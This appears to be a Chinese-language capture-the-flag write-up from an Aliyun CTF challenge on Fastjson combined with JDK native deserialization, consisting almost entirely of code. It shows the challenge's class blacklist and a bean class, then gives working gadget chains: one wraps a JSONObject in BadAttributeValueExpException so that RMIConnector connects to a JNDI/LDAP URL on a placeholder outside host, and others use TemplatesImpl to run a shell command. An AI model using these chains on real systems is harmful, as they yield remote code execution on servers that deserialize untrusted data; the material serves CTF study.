Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF )

package com.ctf.ezser.utils;

import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;import java.util.Arrays;import java.util.HashSet;import java.util.Set;

public class MyObjectInputStream extends ObjectInputStream {

   private static final String[] blacklist = new String[]{           "java\.security.*", "java\.rmi.*",  "com\.fasterxml.*", "com\.ctf\.*",           "org\.springframework.*", "org\.yaml.*", "javax\.management\.remote.*"   };

   public MyObjectInputStream(InputStream inputStream) throws IOException {      super(inputStream);   }

   protected Class resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {      if(!contains(cls.getName())) {         return super.resolveClass(cls);      } else {         throw new InvalidClassException("Unexpected serialized class", cls.getName());      }   }

   public static boolean contains(String targetValue) {      for (String forbiddenPackage : blacklist) {         if (targetValue.matches(forbiddenPackage))            return true;      }      return false;   }}

package com.ctf.ezser.bean;

import java.io.IOException;import java.io.Serializable;import javax.management.remote.JMXConnector;

public class MyBean implements Serializable {

   private Object url;   private Object message;   private JMXConnector conn;



   public MyBean() {}

   public MyBean(Object url, Object message) {      this.url = url;      this.message = message;   }

   public MyBean(Object url, Object message, JMXConnector conn) {      this.url = url;      this.message = message;      this.conn = conn;   }

   public String getConnect() throws IOException {      try {         this.conn.connect();         return "success";      } catch (IOException var2) {         return "fail";      }   }

   public void connect() {}

   public Object getMessage() {      return this.message;   }

   public void setMessage(Object message) {      this.message = message;   }

   public Object getUrl() {      return this.url;   }

   public void setUrl(Object url) {      this.url = url;   }}

JSONObject json= new JSONObject();JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/ldap://xxx.xxx.xxx.xxx:1389/Tomcat");RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);MyBean myBean = new MyBean("a","a", rmiConnector);json.put("YYY", myBean);BadAttributeValueExpException poc = new BadAttributeValueExpException(1);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,json);byte[] code =  serialize(poc);deserialize(code);

Object tpl = createTemplatesImpl("open -a Calculator.app"); JSONObject jsonObject = new JSONObject(); jsonObject.put("gg",tpl); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,jsonObject);

Object tpl = createTemplatesImpl("open -a Calculator.app"); JSONObject jsonObject = new JSONObject(); jsonObject.put("gg",tpl); BadAttributeValueExpException poc = new BadAttributeValueExpException(null); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,jsonObject); HashMap hashMap = new HashMap(); hashMap.put(tpl,poc); byte[] code = serialize(poc); deserialize(code);